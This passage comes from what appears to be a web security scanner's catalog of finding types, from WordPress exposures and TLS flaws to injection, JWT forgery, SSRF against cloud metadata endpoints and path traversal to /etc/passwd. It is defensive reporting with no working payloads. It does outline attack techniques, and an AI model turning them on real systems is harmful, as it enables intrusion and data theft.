The WordPress license.txt file is publicly accessible. While not directly exploitable, it confirms a WordPress installat...
— —
FR-006 MEDIUM Information Disclosure: WordPress Version
The WordPress version was identified from publicly accessible files or meta tags. A known version allows attackers to ta...
— —
FR-007 MEDIUM WordPress Login Page Accessible
The WordPress admin login page (wp-login.php) is publicly accessible. This exposes the authentication endpoint to brute-...
— —
FR-008 MEDIUM WordPress User Registration Enabled
WordPress user self-registration is enabled. Attackers may create accounts to gain authenticated access or exploit subsc...
— —
FR-009 LOW WordPress Password Reset Form Accessible
The WordPress password reset form is accessible. Combined with user enumeration, this could facilitate account takeover ...
— —
FR-010 LOW WordPress X-Pingback Header Present
The X-Pingback HTTP header is present, advertising the XML-RPC pingback endpoint. This confirms XML-RPC is enabled and m...
— —
FR-011 HIGH WordPress XML-RPC Interface Enabled
The WordPress XML-RPC interface (xmlrpc.php) is enabled and accessible. This legacy interface enables brute-force attack...
— —
FR-012 HIGH WordPress XML-RPC Multicall Brute-Force Vector
The XML-RPC system.multicall method is enabled, allowing an attacker to test hundreds of username/password combinations ...
— —
FR-013 HIGH WordPress XML-RPC Pingback SSRF Vector
The XML-RPC pingback.ping method is accessible. An attacker can abuse this to perform Server-Side Request Forgery (SSRF)...
— —
FR-014 HIGH WordPress XML-RPC Interface Accessible
The WordPress XML-RPC endpoint responds to requests. The full list of available methods was retrieved, confirming the at...
— —
FR-015 MEDIUM WordPress REST API Exposed
The WordPress REST API is publicly accessible without authentication. This may expose site structure, user data, and plu...
— —
FR-016 HIGH WordPress Users Exposed via REST API
The WordPress REST API /wp/v2/users endpoint returns a list of registered usernames and IDs without authentication. This...
— —
FR-017 LOW WordPress Media Files Enumerable via REST API
The WordPress REST API /wp/v2/media endpoint exposes a list of uploaded media files without authentication, revealing si...
— —
FR-018 MEDIUM WordPress User Enumeration via Author Archives
WordPress author archive pages (/?author=N) redirect to /author/<username>/, disclosing valid usernames. Enumerated user...
— —
FR-019 LOW WordPress Username Disclosed via oEmbed API
The WordPress oEmbed endpoint discloses the site author username in its JSON response. This provides an additional usern...
— —
FR-020 CRITICAL WordPress Configuration Backup Exposed
A WordPress configuration backup file (e.g., wp-config.php.bak, wp-config.php~) was found accessible on the web server. ...
— —
FR-021 INFO WordPress Plugin Detected
WordPress plugin(s) confirmed via readme.txt enumeration. Version disclosure enables targeted CVE lookups. Plugin names ...
— CWE-200
FR-022 INFO WordPress Theme Detected
The active WordPress theme was detected via static asset paths. Theme identification aids in locating theme-specific vul...
— —
FR-023 HIGH WordPress Debug Log Accessible
The WordPress debug log file (wp-content/debug.log) is publicly accessible. Debug logs may contain PHP errors, stack tra...
— —
FR-024 MEDIUM WordPress uploads Directory Browsing Enabled
Directory listing is enabled on the WordPress uploads directory. Attackers can enumerate all uploaded files, potentially...
— —
FR-025 INFO Robots.txt Discloses Hidden Paths
The robots.txt file contains Disallow directives that reveal hidden or sensitive application paths. These paths are ofte...
— —
FR-026 INFO Sitemap.xml Discovered
A sitemap.xml file was found. Sitemaps enumerate application URLs and can reveal non-linked endpoints and application st...
— —
FR-027 LOW Server Banner Disclosure
The HTTP Server header discloses the web server software name and version. This information assists attackers in identif...
— —
FR-028 LOW X-Powered-By Header Discloses Technology Stack
The X-Powered-By HTTP response header discloses the backend technology (e.g., PHP version, ASP.NET version, Express). Th...
— —
FR-029 MEDIUM Application Error Message Disclosure
Verbose error messages are returned by the application, potentially revealing stack traces, file paths, database queries...
— —
FR-030 MEDIUM Directory Listing Enabled
Directory listing is enabled on one or more paths, allowing unauthenticated users to browse file and directory contents....
— —
FR-031 MEDIUM WSDL/WADL Service Description Exposed
A WSDL or WADL service description file is publicly accessible. These files describe all available service methods, para...
— —
FR-032 INFO GraphQL Endpoint Detected
A GraphQL endpoint was detected. GraphQL endpoints expose a queryable schema and may be subject to introspection, batchi...
— —
FR-033 MEDIUM Swagger/OpenAPI Documentation Exposed
Swagger UI or OpenAPI specification files are publicly accessible without authentication. These documents expose the ful...
— —
FR-034 HIGH Admin Interface Exposed
An administrative interface was discovered at a predictable path. Admin interfaces exposed to the internet are high-valu...
— —
FR-035 HIGH Backup File Discovered
A backup file (e.g., .bak, .old, .orig, ~, .zip) was discovered in the web root. Backup files often contain source code,...
— —
FR-036 CRITICAL Configuration File Exposed
A configuration file (e.g., .env, config.php, settings.py, database.yml) is publicly accessible. Configuration files typ...
— —
FR-037 CRITICAL Git Repository Exposed
A .git directory or git repository index is accessible from the web root. An attacker can reconstruct the full source co...
— —
FR-038 HIGH SVN/CVS Repository Exposed
A Subversion (.svn) or CVS repository directory is accessible from the web root. Repository metadata can be used to reco...
— —
FR-039 HIGH Log File Accessible
An application or server log file is publicly accessible. Log files may contain IP addresses, usernames, session tokens,...
— —
FR-040 CRITICAL Database File Exposed
A database file (e.g., .sqlite, .db, .mdb) is directly accessible from the web server. This exposes the entire database ...
— —
FR-041 HIGH TLS Certificate Expired
The TLS certificate presented by the server has expired. Browser warnings will be displayed, and the certificate can no ...
— —
FR-042 HIGH TLS Certificate Not Yet Valid
The TLS certificate presented by the server has a notBefore date in the future, meaning it is not yet valid. Clients may...
— —
FR-043 HIGH TLS Certificate Hostname Mismatch
The Common Name or Subject Alternative Names in the TLS certificate do not match the hostname being accessed. This break...
— —
FR-044 MEDIUM TLS Certificate Self-Signed
The TLS certificate is self-signed and not issued by a trusted Certificate Authority. Clients cannot validate the server...
— —
FR-045 HIGH Weak TLS Protocol Supported (SSLv2/SSLv3/TLS 1.0/TLS 1.1)
The server supports one or more deprecated TLS/SSL protocol versions (SSLv2, SSLv3, TLS 1.0, or TLS 1.1). These protocol...
— —
FR-046 HIGH Weak Cipher Suite Supported
The server supports weak cipher suites including NULL encryption, RC4, DES, 3DES, or export-grade ciphers. Weak ciphers ...
— —
FR-047 MEDIUM TLS BEAST Vulnerability
The server is vulnerable to the BEAST (Browser Exploit Against SSL/TLS) attack due to the use of TLS 1.0 with CBC cipher...
— —
FR-048 HIGH TLS POODLE Vulnerability
The server supports SSLv3, making it vulnerable to the POODLE (Padding Oracle On Downgraded Legacy Encryption) attack. A...
— —
FR-049 CRITICAL TLS DROWN Vulnerability
The server supports SSLv2, making modern TLS connections vulnerable to the DROWN attack. An attacker can decrypt RSA-enc...
— —
FR-050 CRITICAL TLS HEARTBLEED Vulnerability
The server is running a version of OpenSSL vulnerable to Heartbleed (CVE-2014-0160). An attacker can read up to 64KB of ...
— —
FR-051 HIGH TLS LOGJAM Vulnerability
The server supports DHE key exchange with weak (export-grade) Diffie-Hellman parameters (512-bit), making it vulnerable ...
— —
FR-052 HIGH TLS FREAK Vulnerability
The server supports RSA_EXPORT cipher suites, making it vulnerable to the FREAK (Factoring RSA Export Keys) attack. An a...
— —
FR-053 HIGH TLS ROBOT Vulnerability
The server is vulnerable to the ROBOT (Return Of Bleichenbacher's Oracle Threat) attack, allowing an attacker to perform...
— —
FR-054 HIGH TLS CCS Injection Vulnerability
The server is vulnerable to the OpenSSL CCS Injection vulnerability (CVE-2014-0224). An attacker with MITM position can ...
— —
FR-055 HIGH TLS Ticketbleed Vulnerability
The server is vulnerable to Ticketbleed (CVE-2016-9244) in F5 BIG-IP TLS implementations, allowing an attacker to read u...
— —
FR-056 MEDIUM TLS SWEET32 Vulnerability
The server supports 3DES cipher suites, making long-lived TLS connections vulnerable to the SWEET32 birthday attack, whi...
— —
FR-057 MEDIUM HTTP Strict Transport Security (HSTS) Not Enforced
The Strict-Transport-Security (HSTS) header is not present or has an insufficient max-age. Without HSTS, browsers may co...
4.8 CWE-319
FR-058 MEDIUM TLS Certificate Uses Weak Signature Algorithm (MD5/SHA-1)
The TLS certificate is signed with a weak signature algorithm (MD5 or SHA-1). SHA-1 certificates are deprecated by major...
— —
FR-059 MEDIUM TLS Certificate Short Key Length
The TLS certificate uses an RSA key shorter than 2048 bits. Short RSA keys are susceptible to factoring attacks with suf...
— —
FR-060 HIGH Subdomain Takeover Vulnerability
A subdomain DNS record points to an external service (e.g., GitHub Pages, S3, Heroku, Netlify) that is no longer claimed...
— —
FR-061 MEDIUM Missing Content-Security-Policy Header
The Content-Security-Policy (CSP) header is absent. Without CSP, the application has no defense against Cross-Site Scrip...
— —
FR-062 MEDIUM Missing X-Frame-Options Header
The X-Frame-Options header is absent. Without this header, the page can be embedded in an iframe on any origin, enabling...
— —
FR-063 LOW Missing X-Content-Type-Options Header
The X-Content-Type-Options header is absent. Without this header, browsers may perform MIME type sniffing, potentially e...
— —
FR-064 LOW Missing Referrer-Policy Header
The Referrer-Policy header is absent. Without this header, the browser's default behavior may leak the full URL (includi...
— —
FR-065 LOW Missing Permissions-Policy Header
The Permissions-Policy (formerly Feature-Policy) header is absent. This header controls which browser features and APIs ...
— —
FR-066 MEDIUM Missing Strict-Transport-Security Header
The HTTP Strict-Transport-Security (HSTS) header is absent. Without HSTS, browsers may connect over plain HTTP, and SSL ...
4.8 CWE-523
FR-067 MEDIUM Insecure Content-Security-Policy (Unsafe-Inline Allowed)
The Content-Security-Policy header contains 'unsafe-inline', which negates XSS protection by allowing inline JavaScript ...
— —
FR-068 MEDIUM Insecure Content-Security-Policy (Wildcard Source)
The Content-Security-Policy header contains a wildcard (*) source directive, allowing scripts or resources to be loaded ...
— —
FR-069 MEDIUM Session Cookie Missing Secure Flag
One or more session cookies are set without the Secure flag. Without the Secure flag, the cookie will be transmitted ove...
— —
FR-070 MEDIUM Session Cookie Missing HttpOnly Flag
One or more session cookies are set without the HttpOnly flag. Without HttpOnly, client-side JavaScript can read the coo...
— —
FR-071 MEDIUM Session Cookie Missing SameSite Attribute
Session cookies are set without the SameSite attribute, or with SameSite=None without Secure. This enables Cross-Site Re...
— —
FR-072 HIGH JWT Token in Local Storage
JSON Web Tokens (JWTs) are stored in browser localStorage. localStorage is accessible to JavaScript, making JWT tokens v...
— —
FR-073 CRITICAL JWT Algorithm Confusion (None Algorithm)
The server accepts JWTs with the algorithm set to 'none', bypassing signature verification entirely. An attacker can for...
— —
FR-074 CRITICAL JWT Algorithm Confusion (RS256 to HS256)
The server is vulnerable to JWT algorithm confusion. By changing the algorithm from RS256 to HS256 and signing the token...
— —
FR-075 CRITICAL JWT Weak HMAC Secret
The JWT HMAC signing secret is weak or uses a common/guessable value. An attacker can brute-force the secret offline and...
— —
FR-076 CRITICAL JWT Signature Not Verified
The server accepts JWTs with an invalid or tampered signature. The server is processing the JWT payload without verifyin...
— —
FR-077 MEDIUM JWT Sensitive Data in Payload
Sensitive data (e.g., passwords, PII, internal IDs) was found in the JWT payload. JWT payloads are base64-encoded but no...
— —
FR-078 HIGH JWT Token Accepted After Expiry
The server accepts JWT tokens after their 'exp' (expiration) claim has passed. This allows indefinite reuse of stolen or...
— —
FR-079 CRITICAL JWT kid Header Injection
The JWT 'kid' (Key ID) header parameter is used in an unsafe SQL query or file path lookup without validation. An attack...
— —
FR-080 CRITICAL JWT jwk Header Injection
The server trusts the 'jwk' (JSON Web Key) header embedded in the JWT itself for signature verification. An attacker can...
— —
FR-081 CRITICAL SQL Injection
SQL injection was detected. User-supplied input is incorporated into SQL queries without proper parameterization or esca...
9.8 CWE-20 CWE-89 CWE-943
FR-082 CRITICAL Blind SQL Injection (Boolean-Based)
Boolean-based blind SQL injection was detected. The application does not return error messages, but its behavior changes...
9.8 CWE-20 CWE-89 CWE-943
FR-083 CRITICAL Blind SQL Injection (Time-Based)
Time-based blind SQL injection was detected. The server introduces measurable response delays when injected time-delay S...
9.8 CWE-20 CWE-89 CWE-943
FR-084 CRITICAL NoSQL Injection
NoSQL injection was detected against a MongoDB, Elasticsearch, or similar NoSQL database. Unsanitized user input is used...
8.1 CWE-943
FR-085 CRITICAL Command Injection (OS Command Injection)
Operating system command injection was detected. User-supplied input is passed to a system shell command without sanitiz...
— —
FR-086 CRITICAL Server-Side Template Injection (SSTI)
Server-Side Template Injection was detected. User input is embedded directly into a server-side template (Jinja2, Freema...
9.8 CWE-94
FR-087 HIGH Cross-Site Scripting (XSS) — Reflected
Reflected Cross-Site Scripting was detected. User-supplied input is returned in the HTTP response without proper encodin...
— —
FR-088 HIGH Cross-Site Scripting (XSS) — Stored
Stored Cross-Site Scripting was detected. Malicious scripts submitted by an attacker are persisted in the application's ...
— —
FR-089 HIGH Cross-Site Scripting (XSS) — DOM-Based
DOM-based Cross-Site Scripting was detected. Client-side JavaScript reads attacker-controlled data (e.g., from URL fragm...
— —
FR-090 HIGH LDAP Injection
LDAP injection was detected. User input is incorporated into LDAP query filters without proper escaping. An attacker can...
7.5 CWE-90
FR-091 HIGH XPath Injection
XPath injection was detected. User input is embedded in XPath query expressions without sanitization. An attacker can ma...
7.5 CWE-91
FR-092 CRITICAL XML External Entity (XXE) Injection
XML External Entity (XXE) injection was detected. The XML parser processes externally supplied entity references, allowi...
8.1 CWE-611 CWE-827
FR-093 MEDIUM HTTP Parameter Pollution
HTTP Parameter Pollution (HPP) was detected. Supplying duplicate parameters causes inconsistent behavior in the applicat...
— —
FR-094 HIGH Information Disclosure: Javascript Secret
Sensitive secrets (API keys, credentials, tokens, private keys) were found hardcoded in client-side JavaScript files. Th...
— —
FR-095 LOW Information Disclosure: Internal IP in JavaScript
Internal IP addresses or hostnames were found referenced in client-side JavaScript. This reveals internal network topolo...
— —
FR-096 MEDIUM Hidden Form Fields Disclose Sensitive Data
Hidden HTML form fields contain sensitive data such as user IDs, prices, roles, or tokens that are not intended to be mo...
— —
FR-097 MEDIUM Client-Side Redirect via open() or location
JavaScript code uses window.location, window.open, or similar to redirect users based on URL parameters without validati...
— —
FR-098 LOW HTML Comment Discloses Sensitive Information
HTML comments in the page source reveal sensitive information such as developer notes, TODO items, internal system names...
— —
FR-099 HIGH Path Traversal / Local File Inclusion
Path traversal (directory traversal) was detected. An attacker can use sequences like ../../ in user-supplied file path ...
7.5 CWE-22 CWE-23 CWE-35
FR-100 CRITICAL Remote File Inclusion
Remote File Inclusion (RFI) was detected. The application includes or requires files using a URL parameter that can be s...
— —
FR-101 CRITICAL Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) was detected. The application fetches remote resources at a URL controlled by the att...
9.3 CWE-441 CWE-918
FR-102 CRITICAL SSRF via Cloud Metadata Endpoint Access
SSRF was exploited to access the cloud provider's instance metadata service (AWS 169.254.169.254, GCP metadata.google.in...
— —
FR-103 HIGH SSRF via Internal Network Access
SSRF was exploited to access internal network services (RFC 1918 address ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/...
— —
FR-104 CRITICAL Broken Authentication — Default Credentials
The application or an integrated component (CMS, framework, admin panel) uses default or well-known credentials (admin/a...
— —
FR-105 CRITICAL Authentication Bypass via SQL Injection
The login form is vulnerable to SQL injection, allowing authentication bypass without valid credentials. Payloads such a...
— —
FR-106 CRITICAL Authentication Bypass via Response Manipulation
Authentication can be bypassed by manipulating server responses (e.g., changing 'false' to 'true' in JSON responses, mod...
— —
FR-107 HIGH Authentication Bypass via Direct URL Access
Authenticated pages or resources are accessible by directly navigating to their URLs without an active session. Authenti...
— —
FR-108 HIGH Password Reset Token Weak or Predictable
Password reset tokens are short, sequential, or based on predictable data (timestamp, username hash, MD5). An attacker c...
— —
FR-109 CRITICAL Sensitive File Exposed — /etc/passwd
The /etc/passwd file is accessible via path traversal or misconfiguration. This file contains system user account inform...
— —
FR-110 CRITICAL Information Disclosure: .env File
The .env environment configuration file is publicly accessible. This file typically contains database credentials, API k...
— —
FR-111 CRITICAL Sensitive File Exposed — Private Key
A private cryptographic key file (.pem, .key, .p12, .pfx) was found accessible on the web server. Exposure of private ke...
— —
FR-112 MEDIUM Sensitive File Exposed — phpinfo()
A phpinfo() page is publicly accessible. This page reveals PHP version, loaded modules, configuration settings, environm...
— —
FR-113 LOW Sensitive File Exposed — Composer/NPM Metadata
Package metadata files (composer.json, package.json, package-lock.json, composer.lock) are publicly accessible. These re...
— —
FR-114 HIGH Vulnerability Scanner Finding — Known CVE
A vulnerability scanner (Nuclei) identified a known CVE in a component used by the application. The component version ma...
— —
FR-115 HIGH Vulnerability Scanner Finding — Exposed Panel
A Nuclei scan identified an exposed administrative or monitoring panel (e.g., Grafana, Kibana, Consul, Prometheus, Jenki...
— —
FR-116 MEDIUM Vulnerability Scanner Finding — Misconfiguration
A Nuclei scan identified a security misconfiguration in the application or server. Common examples include debug endpoin...
— —
FR-117 MEDIUM GraphQL Introspection Enabled
GraphQL introspection is enabled in the production environment. Introspection allows any client to retrieve the full sch...
— —
FR-118 HIGH GraphQL Batch Query Attack
The GraphQL endpoint accepts batched queries, allowing multiple queries to be sent in a single HTTP request. This can be...
— —
FR-119 HIGH GraphQL Deeply Nested Query (DoS)
The GraphQL endpoint does not enforce query depth limits. An attacker can craft deeply nested queries that cause exponen...
— —
FR-120 LOW GraphQL Field Suggestion Enabled
The GraphQL server returns 'Did you mean X?' suggestions when querying non-existent fields. This allows schema enumerati...
— —
FR-121 MEDIUM Insufficient Logging and Monitoring
The application fails to generate adequate log entries for security-relevant events such as failed logins, access contro...
— —
FR-122 MEDIUM Verbose Error Messages Logged to Client
The application returns verbose error messages including stack traces, file paths, or internal state to the client. This...
— —
FR-123 HIGH No Account Lockout Mechanism
The login endpoint does not implement account lockout or rate limiting after repeated failed authentication attempts. An...
— —
FR-124 MEDIUM Username Enumeration via Login Response
The login form returns different error messages for invalid usernames versus invalid passwords ('User not found' vs 'Inc...
— —
FR-125 MEDIUM Username Enumeration via Password Reset
The password reset form reveals whether a submitted email or username exists in the system through different response me...
— —
FR-126 MEDIUM Username Enumeration via Registration
The user registration form discloses whether a username or email is already registered, enabling enumeration of valid ac...
— —
FR-127 MEDIUM Weak Password Policy
The application accepts passwords that are too short or lack complexity requirements. Weak passwords are trivially compr...
5.9 CWE-521
FR-128 MEDIUM Multi-Factor Authentication Not Enforced
Multi-factor authentication (MFA) is not available or not enforced for privileged accounts. Single-factor authentication...
— —
FR-129 HIGH Insecure Direct Object Reference (IDOR)
Insecure Direct Object Reference (IDOR) was detected. Direct references to internal objects (user IDs, record IDs, file ...
8.1 CWE-639
FR-130 HIGH Horizontal Privilege Escalation
Horizontal privilege escalation was detected. An authenticated user can access or modify another user's resources by man...
8.1 CWE-639
FR-131 CRITICAL Vertical Privilege Escalation
Vertical privilege escalation was detected. A lower-privileged user can access administrative functionality or higher-pr...
9.0 CWE-269
FR-132 HIGH Missing Function-Level Access Control
Application functions (APIs, admin actions) are protected only by hiding them from the UI but lack server-side access co...
8.8 CWE-285
FR-133 HIGH Session Fixation
Session fixation was detected. The application does not generate a new session ID after successful authentication. An at...
7.3 CWE-384
FR-134 HIGH Session Token in URL
Session tokens are transmitted in URL query parameters. Session tokens in URLs are exposed in browser history, referrer ...
— —
FR-135 MEDIUM Long-Lived Session Without Expiration
Session tokens remain valid indefinitely or for excessively long periods. Long-lived sessions increase the window of opp...
— —
FR-136 HIGH Session Not Invalidated on Logout
Session tokens remain valid on the server after the user logs out. An attacker who captures a session token before logou...
— —
FR-137 HIGH Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) was detected. State-changing requests lack CSRF tokens or other anti-CSRF mechanisms. ...
7.1 CWE-346 CWE-352
FR-138 HIGH CSRF Token Not Validated Server-Side
The application includes CSRF tokens in forms but does not validate them server-side, or accepts any non-empty value as ...
— —
FR-139 HIGH Cross-User Data Leakage
Data belonging to one user is visible to another user due to insufficient isolation in shared resources, caches, or mult...
— —
FR-140 MEDIUM Open Redirect
An open redirect vulnerability was detected. The application redirects users to a URL specified in a request parameter w...
6.1 CWE-20 CWE-601
FR-141 CRITICAL Insecure Deserialization
Insecure deserialization was detected. The application deserializes user-supplied data (via pickle, Java ObjectInputStre...
9.8 CWE-94 CWE-502
FR-142 CRITICAL Java Deserialization via Gadget Chains
Java object deserialization was identified with known gadget chain exploitability. Exploitation of known gadget chains (...
— —
FR-143 CRITICAL PHP Object Injection via unserialize()
PHP's unserialize() function is called on user-controlled input. If the application's autoloaded classes contain exploit...
— —
FR-144 CRITICAL Unrestricted File Upload — Executable File
The file upload functionality allows uploading of executable files (PHP, JSP, ASP, Python, etc.) without restriction. An...
— —
FR-145 HIGH Unrestricted File Upload — MIME Type Bypass
The file upload validation relies solely on the Content-Type header or file extension, which can be manipulated by an at...
— —
FR-146 HIGH File Upload — Path Traversal in Filename
The file upload functionality uses the client-supplied filename in the server-side file path without sanitization. An at...
— —
FR-147 HIGH Mass Assignment Vulnerability
Mass assignment (also known as auto-binding) was detected. The application binds HTTP request parameters directly to int...
8.1 CWE-915
FR-148 CRITICAL Mass Assignment — Privilege Escalation via Role Field
Mass assignment was exploited to modify a privileged field such as 'isAdmin', 'role', or 'permission_level' by including...
— —
FR-149 HIGH Broken Object-Level Authorization (BOLA) in API
API endpoints expose object-level access without authorization validation. An authenticated user can access or modify an...
— —
FR-150 HIGH Broken Function-Level Authorization (BFLA) in API
API endpoints with administrative or privileged functionality are accessible to lower-privileged or unauthenticated user...
— —
FR-151 MEDIUM HTTP Method Override Accepted
The application accepts HTTP method override headers (X-HTTP-Method-Override, X-Method-Override) that substitute the act...
5.4 CWE-650
FR-152 HIGH CORS Misconfiguration — Arbitrary Origin Reflected
The server reflects the request's Origin header in the Access-Control-Allow-Origin response header and includes Access-C...
— —
FR-153 HIGH CORS Misconfiguration — Null Origin Allowed
The server includes 'Access-Control-Allow-Origin: null' in its response. This allows sandboxed iframes, redirects, and l...
— —
FR-154 HIGH Business Logic Flaw — Negative Value Accepted
The application accepts negative numeric values in business-critical fields (quantity, price, payment amount). This can ...
— —
FR-155 HIGH Business Logic Flaw — Price Manipulation
The application trusts client-submitted pricing data without server-side verification. An attacker can manipulate price ...
— —
FR-156 MEDIUM Business Logic Flaw — Coupon/Discount Abuse
Coupon or discount codes can be applied multiple times per order, stacked beyond intended limits, or applied to ineligib...
— —
FR-157 HIGH Business Logic Flaw — Workflow Step Bypass
Multi-step workflows (checkout, verification, approval) can be bypassed by directly accessing later steps without comple...
— —
FR-158 HIGH Business Logic Flaw — Race Condition
A race condition was detected in a critical business operation (e.g., balance check-then-debit, coupon redemption, token...
— —
FR-159 MEDIUM Rate Limiting Not Enforced on Sensitive Endpoint
No rate limiting is applied to sensitive endpoints such as OTP verification, coupon redemption, password reset, or API c...
— —
FR-160 HIGH Insecure Direct Object Reference in File Download
File download endpoints use user-supplied filenames or IDs to retrieve files without ownership validation or path saniti...
— —
FR-161 INFO Screenshot Captured — Web Application Surface
A screenshot of the target web application was captured. This records the visual surface of the application for document...
— —
FR-162 INFO FFUF Directory/File Discovered
Content discovery via ffuf identified a directory or file not linked from the main application. Hidden paths may contain...
— —
FR-163 HIGH FFUF — Administrative Path Discovered
ffuf content discovery identified an administrative interface or control panel at a predictable path. Administrative pat...
— —
FR-164 LOW shcheck — Missing Security Header
Security header analysis via shcheck identified one or more missing or misconfigured HTTP security headers. Missing secu...
— —
FR-165 INFO Crawl — Undocumented Endpoint Discovered
Application crawling discovered an endpoint not listed in sitemap.xml, robots.txt, or API documentation. Undocumented en...
— —
FR-166 INFO Crawl — External Domain Reference Found
The application references external domains for resources (CDNs, third-party scripts, fonts). External dependencies intr...
— —
FR-167 INFO TLS Certificate Transparency Log Entry
Certificate Transparency logs reveal all certificates issued for the target domain and its subdomains. This information ...
— —
FR-168 MEDIUM Authentication — Concurrent Session Not Restricted
The application allows unlimited concurrent sessions for a single user account. This makes it impossible to detect or pr...
— —
FR-169 MEDIUM HTTP Methods: Unsafe Methods Enabled
The web server responds to dangerous HTTP methods including PUT (file upload), DELETE (file deletion), or TRACE (XST — C...
— —
FR-170 MEDIUM Clickjacking Vulnerability
The application does not implement anti-clickjacking protections (X-Frame-Options or CSP frame-ancestors). The page can ...
4.3 CWE-1021
FR-171 HIGH Sensitive Data Exposure — PII in Response
API responses or page content expose personally identifiable information (PII) such as email addresses, phone numbers, S...
— —
FR-172 CRITICAL Insecure Password Storage (Cleartext or Weak Hash)
Evidence suggests passwords are stored in cleartext, as reversible encryption, or using a weak unsalted hash algorithm (...
— —
FR-173 HIGH Subdomain Takeover — S3 Bucket Not Found
A subdomain's DNS CNAME points to an AWS S3 bucket that returns a NoSuchBucket error. An attacker can create an S3 bucke...
— —
FR-174 HIGH Subdomain Takeover — GitHub Pages
A subdomain's DNS CNAME points to a GitHub Pages site that no longer exists or is unclaimed. An attacker can create a ma...
— —
FR-175 HIGH Subdomain Takeover — Heroku
A subdomain's DNS CNAME points to a Heroku application that has been deleted or is unclaimed. An attacker can provision ...
— —
FR-176 HIGH Prototype Pollution in JavaScript
Prototype pollution was detected. User-controlled JSON or query parameter keys such as __proto__, constructor, or protot...
— —
FR-177 CRITICAL HTTP Request Smuggling
HTTP request smuggling was detected due to inconsistent interpretation of Content-Length and Transfer-Encoding headers b...
— —
FR-178 HIGH Web Cache Poisoning
Web cache poisoning was detected. The caching layer reflects unkeyed request headers (X-Forwarded-Host, X-Original-URL) ...
— —
FR-179 HIGH GraphQL Authorization Bypass
GraphQL queries can access data from unauthorized objects or users by bypassing field-level authorization. Inline fragme...
— —
FR-180 LOW Information Disclosure: Internal Path in Response
Internal filesystem paths (e.g., /var/www/html/, C:\inetpub\wwwroot\) are disclosed in HTTP responses, error pages, or H...
— —
FR-181 HIGH Access Matrix — Unauthenticated Access to Authenticated Endpoint
An endpoint designated as requiring authentication is accessible without any session token or authentication credentials...
— —
FR-182 HIGH Access Matrix — Lower-Role Access to Higher-Role Endpoint
An endpoint restricted to a higher-privileged role (admin, manager) is accessible by a lower-privileged authenticated us...
— —
FR-183 HIGH Access Matrix — User A Can Read User B Data
Authenticated user A can read data owned by user B by manipulating object identifiers in API requests. Object-level auth...
— —
FR-184 CRITICAL Access Matrix — User A Can Modify User B Data
Authenticated user A can modify or delete data owned by user B by manipulating object identifiers in API requests. Objec...
— —
FR-185 CRITICAL Access Matrix — Admin Functionality Accessible by Regular User
Administrative functions (user management, system configuration, data export) are accessible to regular authenticated us...
— —
FR-186 MEDIUM HTTP Security Header — X-Frame-Options Incorrectly Configured
The X-Frame-Options header is present but misconfigured (e.g., set to ALLOWALL or using an invalid value). An incorrect ...
— —
FR-187 MEDIUM Content-Security-Policy — Unsafe-Eval Allowed
The Content-Security-Policy header contains 'unsafe-eval', which allows the use of eval(), setTimeout(), setInterval() w...
— —
FR-188 MEDIUM SSL/TLS Forward Secrecy: Not Supported
The server does not support cipher suites that provide Perfect Forward Secrecy (PFS). Without PFS, a compromise of the s...
— —
FR-189 LOW TLS OCSP Stapling Not Configured
OCSP stapling is not configured on the server. Without stapling, clients must query the OCSP responder directly to check...
— —
FR-190 CRITICAL GraphQL SQL Injection via Argument
SQL injection was detected via GraphQL query arguments. Unsanitized argument values are passed to underlying database qu...
— —
FR-191 MEDIUM Sensitive Data in GET Request Parameters
Sensitive data (passwords, session tokens, personal information) is transmitted in GET request query parameters. GET par...
— —
FR-192 MEDIUM Missing Rate Limiting on Password Reset
The password reset endpoint does not enforce rate limiting. An attacker can repeatedly request password resets for targe...
— —
FR-193 MEDIUM Insecure Redirect After Authentication
The post-authentication redirect URL is controlled by a user-supplied parameter (e.g., next=, redirect=, returnUrl=) wit...
— —
FR-194 INFO Lack of Security.txt File
The application does not have a security.txt file at /.well-known/security.txt. The security.txt standard (RFC 9116) all...
— —
FR-195 HIGH HTTP/2 Rapid Reset Attack Exposure
The server supports HTTP/2 and may be vulnerable to the HTTP/2 Rapid Reset attack (CVE-2023-44487). An attacker can open...
— —
FR-196 INFO CDN Active
A Content Delivery Network (CDN) was identified in front of the target via response headers or Server fingerprinting. TL...
— —
FR-197 INFO WAF / Edge Security Platform Active
A WAF or edge security platform was identified in front of the target via response headers or body signatures. WAF rules...
— —
FR-198 HIGH WAF/CDN IP Block Detected
The WAF or CDN is blocking all requests from the scanner's IP address. All subsequent results from this point forward ma...
— —
FR-199 INFO WAF/CDN Session Termination Detected
The WAF or CDN revoked the authenticated session mid-scan (HTTP 401 or login redirect returned on root URL probe). Authe...
— —
FR-200 INFO WAF/CDN Challenge Page Active
The WAF or CDN is serving a JavaScript challenge or CAPTCHA page instead of real content. Automated probe results may be...
— —
FR-201 MEDIUM Potential CDN Origin Bypass
A request with IP spoofing headers (X-Forwarded-For, X-Real-IP) returned a different Server header, suggesting the origi...
— —
FR-202 HIGH Web Cache Poisoning
An unkeyed request header was reflected in a cached response. An attacker can inject this header with a malicious value ...
— —
FR-203 INFO Wildcard (*) Detected
A wildcard/catch-all response was detected — the server returns the same response for all unknown paths. Directory brute...
— 200 284
FR-204 INFO CMS Detected
A Content Management System (CMS) was identified from page source signatures, meta tags, or response headers. A known CM...
— 200 497
FR-205 INFO Web Structure Identified
The web application framework or structure type was classified (e.g., SPA, SSR Hybrid, Server-Rendered, Static HTML, API...
— —
FR-206 INFO Single Page Application Detected
A Single Page Application (SPA) was identified. Client-side routing and dynamic content loading may prevent traditional ...
— —
FR-207 LOW Information Disclosure: Sensitive Path in robots.txt
The robots.txt file discloses path patterns intended to be hidden from search engines. These paths are still accessible ...
— —
FR-208 LOW Information Disclosure: Server Header
The HTTP Server response header reveals the web server software name and version, reducing the attacker's reconnaissance...
5.3 CWE-200
FR-209 LOW Information Disclosure: X-Powered-By Header
The X-Powered-By response header discloses the application framework, language, or runtime version, reducing the attacke...
5.3 CWE-200
FR-210 LOW Information Disclosure: X-AspNet-Version Header
The X-AspNet-Version header discloses the exact .NET framework version in use, assisting attackers in identifying versio...
5.3 CWE-200
FR-211 LOW Information Disclosure: Via Header
The Via response header discloses internal proxy or gateway infrastructure details, including software versions and inte...
5.3 CWE-200
FR-212 MEDIUM Information Disclosure: Debug/Trace Headers
Debug or trace response headers (e.g., X-Debug-Info, X-Request-Id with sensitive stack details, X-Trace) expose internal...
3.7 200 497
FR-213 INFO Unknown Header Identified
